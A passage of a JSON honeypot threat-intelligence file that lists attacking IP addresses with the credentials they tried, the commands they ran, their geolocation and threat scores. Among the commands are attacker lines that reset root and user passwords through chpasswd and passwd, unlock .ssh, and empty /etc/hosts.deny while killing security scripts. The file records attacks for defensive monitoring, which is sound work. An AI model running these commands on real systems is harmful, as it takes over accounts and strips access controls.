        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nPEFbGFvPLLlY\\nPEFbGFvPLLlY\\n\"|passwd",
        "echo \"admin\\n3ic3ZzPneKsE\\n3ic3ZzPneKsE\\n\"|passwd",
        "echo \"root:nbkCWbU6VCw0\"|chpasswd|bash",
        "echo -e \"123456\\nPEFbGFvPLLlY\\nPEFbGFvPLLlY\"|passwd|bash",
        "echo -e \"admin\\n3ic3ZzPneKsE\\n3ic3ZzPneKsE\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 42.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 339,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T12:56:42.329000+00:00",
        "last_seen_30d": "2026-03-31T13:14:45.065000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 286,
        "Suricata": 53
      }
    },
    "1.220.95.211": {
      "attack_count": 262,
      "first_seen": "2026-03-10T10:32:05.266Z",
      "last_seen": "2026-03-10T10:54:33.300Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "jessica",
        "live",
        "teamspeak",
        "acer",
        "ahmad",
        "clawd",
        "gw",
        "legales",
        "localhost",
        "pilot",
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "123456",
        "Admin@#123",
        "Gw123",
        "Jessica123",
        "Live123",
        "Pilot123!",
        "acer1234",
        "localhost"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nGsmJSYGN3QPV\\nGsmJSYGN3QPV\\n\"|passwd",
        "echo \"Jessica123\\nJGSGAz7Qzhxy\\nJGSGAz7Qzhxy\\n\"|passwd",
        "echo \"Live123\\n36d8ZVQF5QFo\\n36d8ZVQF5QFo\\n\"|passwd",
        "echo -e \"12345\\nGsmJSYGN3QPV\\nGsmJSYGN3QPV\"|passwd|bash",
        "echo -e \"Jessica123\\nJGSGAz7Qzhxy\\nJGSGAz7Qzhxy\"|passwd|bash",
        "echo -e \"Live123\\n36d8ZVQF5QFo\\n36d8ZVQF5QFo\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:32:05.266000+00:00",
        "last_seen_30d": "2026-03-10T10:55:43.032000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 38
      }
    },
    "45.78.194.186": {
      "attack_count": 255,
      "first_seen": "2026-03-10T18:09:19.566Z",
      "last_seen": "2026-03-13T10:13:42.456Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "clawd",
        "x",
        "admin",
        "azureuser",
        "bin",
        "claude",
        "cyrus",
        "gw",
        "html",
        "inspur",
        "kozawa",
        "michael",
        "pm2user",
        "prueba0",
        "robin",
        "tinoue",
        "tomcat",
        "tunnel"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "345gs5662d34",
        "123",
        "12345678",
        "1234567890",
        "3245gs5662d34",
        "Robin123",
        "admin01",
        "claude1",
        "cyrus123",
        "inspur@123",
        "kozawa",
        "michael2025",
        "password123456789",
        "pm2user123!",
        "prueba0",
        "tomcat987654321",
        "x1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "w",
        "which ls",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "whoami",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nqhRSKoHpUkqo\\nqhRSKoHpUkqo\\n\"|passwd",
        "echo \"kozawa\\nj4qHhcie8aq6\\nj4qHhcie8aq6\\n\"|passwd",
        "echo -e \"123\\nqhRSKoHpUkqo\\nqhRSKoHpUkqo\"|passwd|bash",
        "echo -e \"claude1\\n78iOVb9AYfJo\\n78iOVb9AYfJo\"|passwd|bash",
        "echo -e \"kozawa\\nj4qHhcie8aq6\\nj4qHhcie8aq6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 312,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T18:09:19.566000+00:00",
        "last_seen_30d": "2026-03-13T10:14:50.277000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 255,
        "Suricata": 57
      }
    },
    "217.241.53.190": {
      "attack_count": 236,
      "first_seen": "2026-03-30T11:29:13.206Z",
      "last_seen": "2026-03-30T12:31:42.592Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "root1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123.abc.com",
        "123456www",
        "159258357",
        "A11111111",
        "Admin2024!@#",
        "Cisco",
        "Lf123456",
        "News@123",
        "Password1!",
        "dell@2025",
        "gogo1234",
        "jl@123",
        "kuaicdn",
        "new_password",
        "petra",
        "progress",
        "root1",
        "rootROOT123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Ul1mJtPcVWNd\"|chpasswd|bash",
        "echo \"root:olz4sVT6t2x2\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Haiterbach",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T11:29:13.206000+00:00",
        "last_seen_30d": "2026-03-30T12:32:52.378000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 58
      }
    },
    "152.32.163.183": {
      "attack_count": 228,
      "first_seen": "2026-03-11T12:04:55.654Z",
      "last_seen": "2026-03-15T13:01:41.477Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "user8",
        "ansible",
        "comunicacao",
        "dario",
        "mailcow",
        "music",
        "n8n",
        "ocs",
        "satisfactory",
        "scraper",
        "tania"
      ],
      "passwords_attempted": [
        "12345678",
        "345gs5662d34",
        "password",
        "12345",
        "3245gs5662d34",
        "Ab@123456",
        "Satisfactory123!",
        "dario123",
        "keypos",
        "mailcow123",
        "n8n",
        "ocs123!",
        "scraper123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\n10Cgq5BVvge8\\n10Cgq5BVvge8\\n\"|passwd",
        "echo \"password\\npzSWBQiJtZze\\npzSWBQiJtZze\\n\"|passwd",
        "echo -e \"12345\\n10Cgq5BVvge8\\n10Cgq5BVvge8\"|passwd|bash",
        "echo -e \"password\\npzSWBQiJtZze\\npzSWBQiJtZze\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T12:04:55.654000+00:00",
        "last_seen_30d": "2026-03-15T13:05:20.139000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 228,
        "Suricata": 61
      }
    },
    "77.87.40.114": {
      "attack_count": 207,
      "first_seen": "2026-03-04T00:34:42.984Z",
      "last_seen": "2026-03-08T08:04:04.989Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chrome",
        "andrei",
        "assistant",
        "pepe",
        "rramirez",
        "sasha",
        "simon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123456",
        "12QWaszx",
        "Chrome123",
        "Root#123",
        "a123456789!",
        "a123b123c123",
        "andrei1234",
        "assistant123",
        "oracle123",
        "rramirezpass",
        "speed@123",
        "zaq1@WSXcde3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Chrome123\\nTn3bfWGOJ8Ez\\nTn3bfWGOJ8Ez\\n\"|passwd",
        "echo \"root:eb2WiZuDinyl\"|chpasswd|bash",
        "echo -e \"Chrome123\\nTn3bfWGOJ8Ez\\nTn3bfWGOJ8Ez\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 44668,
      "as_org": "Zubko Volodymyr Viktorovych",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 249,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T00:34:42.984000+00:00",
        "last_seen_30d": "2026-03-08T08:05:14.871000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 207,
        "Suricata": 42
      }
    },
    "143.110.252.166": {
      "attack_count": 200,
      "first_seen": "2026-03-03T13:09:59.788Z",
      "last_seen": "2026-03-03T13:43:02.075Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "daemon",
        "backup",
        "debian"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "4321",
        "54321",
        "654321",
        "qwerty",
        "wasd",
        "21",
        "321",
        "Pa$w0rd",
        "Pa$word",
        "Password",
        "admin12",
        "backup12",
        "daemon",
        "daemon1",
        "daemon12",
        "daemon123",
        "pa$w0rd",
        "passw0rd"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 286,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:09:59.788000+00:00",
        "last_seen_30d": "2026-03-03T13:44:11.378000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 200,
        "Suricata": 86
      }
    },
    "101.47.49.98": {
      "attack_count": 196,
      "first_seen": "2026-03-02T20:47:54.721Z",
      "last_seen": "2026-03-26T14:32:09.713Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sshuser",
        "backend",
        "ftpd",
        "ts1"
      ],
      "passwords_attempted": [
        "0okm(IJN8uhb",
        "1029384756",
        "1233218613f",
        "1234",
        "3245gs5662d34",
        "Ftpd123!",
        "Sshuser123",
        "a1s2d3f4g5h6",
        "a3b2c1",
        "alex",
        "ts1123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Sshuser123\\nX3bfsaTcNW6s\\nX3bfsaTcNW6s\\n\"|passwd",
        "echo \"root:BN6RixT4yHQX\"|chpasswd|bash",
        "echo -e \"Sshuser123\\nX3bfsaTcNW6s\\nX3bfsaTcNW6s\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 47.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 239,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:47:54.721000+00:00",
        "last_seen_30d": "2026-03-26T14:33:15.393000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 43
      }
    },
    "138.197.153.44": {
      "attack_count": 193,
      "first_seen": "2026-03-11T12:04:01.522Z",
      "last_seen": "2026-03-11T12:23:42.324Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "it",
        "n8n",
        "firewall",
        "frontend",
        "hik",
        "iptv",
        "jino",
        "nuc",
        "root",
        "unity",
        "zw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "It123!",
        "Pablo123",
        "Zw123",
        "firewall",
        "jino",
        "n8n",
        "password",
        "unitypass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"It123!\\nL9vf9hX6HHvn\\nL9vf9hX6HHvn\\n\"|passwd",
        "echo \"n8n\\noxi5WTRv1D37\\noxi5WTRv1D37\\n\"|passwd",
        "echo -e \"It123!\\nL9vf9hX6HHvn\\nL9vf9hX6HHvn\"|passwd|bash",
        "echo -e \"n8n\\noxi5WTRv1D37\\noxi5WTRv1D37\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T12:04:01.522000+00:00",
        "last_seen_30d": "2026-03-11T12:24:48.413000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "152.200.205.179": {
      "attack_count": 186,
      "first_seen": "2026-03-02T04:16:34.694Z",
      "last_seen": "2026-03-02T04:40:33.542Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1!deshine",
        "1234Qwer!",
        "1q@W3e$R5t",
        "a19861116",
        "aa721521",
        "aa82235940",
        "aaa5201314",
        "asd1234567@",
        "centos6svm",
        "swallow520"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:RrtCa1DnGdJ1\"|chpasswd|bash",
        "echo \"root:qStvEOagjlEV\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:16:34.694000+00:00",
        "last_seen_30d": "2026-03-02T04:41:42.764000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 33
      }
    },
    "137.184.87.232": {
      "attack_count": 168,
      "first_seen": "2026-03-11T10:43:22.249Z",
      "last_seen": "2026-03-11T11:58:01.449Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "solv",
        "eth",
        "sol",
        "SOL",
        "admin",
        "heat",
        "trader",
        "ubuntu"
      ],
      "passwords_attempted": [
        "solana",
        "123",
        "123456",
        "SOL",
        "sol",
        "!@#$%^",
        "12",
        "123123123",
        "123321",
        "1234",
        "12345678",
        "1234567890",
        "Aa123456",
        "SOL!@#",
        "SoL",
        "Sol",
        "eth",
        "eth123",
        "ethereum",
        "heat"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 247,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T10:42:24.617000+00:00",
        "last_seen_30d": "2026-03-11T11:59:01.620000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 79
      }
    },
    "148.66.132.204": {
      "attack_count": 168,
      "first_seen": "2026-03-26T21:25:34.870Z",
      "last_seen": "2026-03-26T23:09:48.121Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!qaz@wsx",
        "123456ASD",
        "1234asdf!@#$",
        "123xxx",
        "3245gs5662d34",
        "345gs5662d34",
        "Bm123456",
        "Niraj@123",
        "QWERTY12345",
        "Rahul123",
        "abcd*1234",
        "aim",
        "asdf123@",
        "fast",
        "l69913991likK!",
        "nessus",
        "qaz!wsx@123",
        "qw12",
        "root0000",
        "travis"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:dgaFe9YUqnvR\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 26496,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T21:25:34.870000+00:00",
        "last_seen_30d": "2026-03-26T23:10:55.748000+00:00",
